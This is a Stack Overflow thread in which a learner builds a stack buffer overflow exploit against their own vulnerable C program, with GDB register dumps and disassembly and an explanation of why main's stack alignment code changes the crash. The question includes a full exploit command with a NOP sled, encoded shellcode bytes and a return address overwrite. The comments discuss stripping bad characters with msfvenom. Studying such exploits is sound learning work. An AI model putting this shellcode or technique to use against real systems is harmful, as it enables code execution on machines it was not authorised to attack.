5

I am working through some buffer overflow exploit examples and have written a basic vulnerable C app to test with: (target and attacker is the same Kali 2 machine and have run "echo "0" > /proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

Now, with some testing in GDB i can cause a seg fault by putting 260 bytes in the buffer:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')

with the registers showing:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I think i can successfully gain control of EIP, given the 0x424242 above (although EBP is 0x0??)

Question 1.

With a buffer of 260 bytes, EIP is overridden as above. If using:

r $(python -c 'print "A" * 512')

i am finding that the SEGSEGV is at 0x080484b4 with registers

eax            0x201    513
ecx            0x41414141   1094795585
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x80484b4    0x80484b4 <main+89>
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I would have thought that if the 260 gains control of EIP, shouldn't the 512 byte example as well? Why does the 512 scenario allow the EIP to point to the ret in this case instead of the 0x424242 as in the 260 bytes buffer example above??

Question 2.

I have created a payload that is 87 bytes. I have injected the payload into the initial 204 bytes as below

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')

My disas main is as follows

   0x0804845b <+0>: lea    0x4(%esp),%ecx
   0x0804845f <+4>: and    $0xfffffff0,%esp
   0x08048462 <+7>: pushl  -0x4(%ecx)
   0x08048465 <+10>:    push   %ebp
   0x08048466 <+11>:    mov    %esp,%ebp
   0x08048468 <+13>:    push   %ecx
   0x08048469 <+14>:    sub    $0x104,%esp
   0x0804846f <+20>:    mov    %ecx,%eax
   0x08048471 <+22>:    cmpl   $0x2,(%eax)
   0x08048474 <+25>:    je     0x8048480 <main+37>
   0x08048476 <+27>:    sub    $0xc,%esp
   0x08048479 <+30>:    push   $0x0
   0x0804847b <+32>:    call   0x8048340 <exit@plt>
   0x08048480 <+37>:    mov    0x4(%eax),%eax
   0x08048483 <+40>:    add    $0x4,%eax
   0x08048486 <+43>:    mov    (%eax),%eax
   0x08048488 <+45>:    sub    $0x8,%esp
   0x0804848b <+48>:    push   %eax
   0x0804848c <+49>:    lea    -0x108(%ebp),%eax
   0x08048492 <+55>:    push   %eax
   0x08048493 <+56>:    call   0x8048310 <strcpy@plt>
   0x08048498 <+61>:    add    $0x10,%esp
   0x0804849b <+64>:    sub    $0xc,%esp
   0x0804849e <+67>:    lea    -0x108(%ebp),%eax
   0x080484a4 <+73>:    push   %eax
   0x080484a5 <+74>:    call   0x8048320 <puts@plt>
   0x080484aa <+79>:    add    $0x10,%esp
   0x080484ad <+82>:    mov    -0x4(%ebp),%ecx
   0x080484b0 <+85>:    leave  
   0x080484b1 <+86>:    lea    -0x4(%ecx),%esp
=> 0x080484b4 <+89>:    ret  

Putting a break on 56 (0x08048493) and examining the ESP x/2wx $esp i can find that:

0xffffd220: 0xffffd230  0xffffd56b

and x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>

so, can deduce (hopefully correctly) that EIP should be \x6b\xd5\xff\xff to call the exploit, and substituting all pieces as below (using nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')

Unfortunately, the program is now just terminating normally with "[Inferior 1 (process 2863) exited normally]". Am i missing something or just way off the correct path...? Also i notice breaks no do not break in the statement above?

-- Edit

Reworded to make more sense after walking away from the hours at the screen :)

TheITGuy
  • 722
  • 4
  • 15
  • Modern operating systems will not let you modify instructions, so if you're trying to overwrite a ret instruction, it will seg fault. Also, what do you mean 'fill EIP'? EIP is the instruction pointer. – Bobby Sacamano Nov 08 '15 at 05:10
  • @BobbySacamano : not necessarily if the code is on the stack. The stack is read and write. And not all OSes prevent executing code on the stack (since some OSes put trampoline code on the stack). Buffer exploit code will end up on the stack, so it depends on whether the OS allows executing code on the stack. – Michael Petch Nov 08 '15 at 05:16
  • @MichaelPetch oh good point. I forget about data execution attacks sometimes. More information is needed to answer this I guess. – Bobby Sacamano Nov 08 '15 at 05:22
  • Forgot to make mention that i am running this on Kali linux - both as attacker and target. I have also run: sudo echo 0 > /proc/sys/kernel/randomize_va_space to disable the ASLR – TheITGuy Nov 08 '15 at 06:08
  • @Bobby - fill EIP - i meant that 0x424242 overrides the EIP register in case 1. When filling buffer with 512 bytes, it does not seem to have the same effect. – TheITGuy Nov 08 '15 at 06:13
  • @Michael - What i also seem to be finding is that the EBP register is 0x0, the ESP points to 0x434343, and EIP is 0x424242. What other infomation are you after to help answer? – TheITGuy Nov 08 '15 at 08:27
  • 1
    The disassembly of `main` would help. Somehow you overwrite `esp` which then causes the fault at `ret`. Also note that arguments are on the stack, so if you change arguments the stack layout changes. – Jester Nov 08 '15 at 14:14
  • @Jester - Have added more information, and reworded - thanks. – TheITGuy Nov 09 '15 at 01:20

1 Answers1

1

Notice that the original stack pointer is saved on the stack and it is restored just before the ret. So if you overwrite the stack you might also overwrite the stack pointer which will be used for the ret. main is special this way, because it has stack alignment code in the prologue.

That said, the expected behavior is actually the second case and the first is the special one. Your string happens to be just the right length so the terminating zero overwrites the low byte of the saved stack pointer which is just enough to make it point a little lower in memory, but still within your string. The exact location will depend on stack layout, it won't always be your BBBB, in fact for me it's somewhere in the AAAA part. Note that even with ASLR off, stack layout might change due to environment so even if you get an exploit working in gdb it might not work reliably, or at all, from a shell.

Jester
  • 56,577
  • 4
  • 81
  • 125
  • thanks for the answer, I think that makes some sense in my mind. In saying that, what are my options in making this exploit work? – TheITGuy Nov 09 '15 at 19:02
  • If you have written this for yourself as practice, you might want to stick everything into a separate function and not exploit `main` - that will be simpler because the other functions don't have stack alignment code. Also, in real life you rarely exploit `main` itself. – Jester Nov 09 '15 at 19:07
  • thanks - i have moved the overflow logic into a function, and call it from main. I now see that issue in point 1 above is gone, and the exploit seems to be 'sort of' working. I am receiving /bin/dash: 0: can't open in gdb. Is this likely an issue with the overflow, or more related to the exploit itself? – TheITGuy Nov 09 '15 at 22:56
  • Spot on, it seems \x0d was causing my issue initially. msfvenom seems to throw an error when stripping \x00\xff\x0a\x0d (when i removed the \x0d it worked). I ended up adding further iterations and it seemed to resolve it. I then had a similar issue with \x09 and compare the hex with that of my parameter and got it removed. Thanks for your feedback! – TheITGuy Nov 10 '15 at 04:45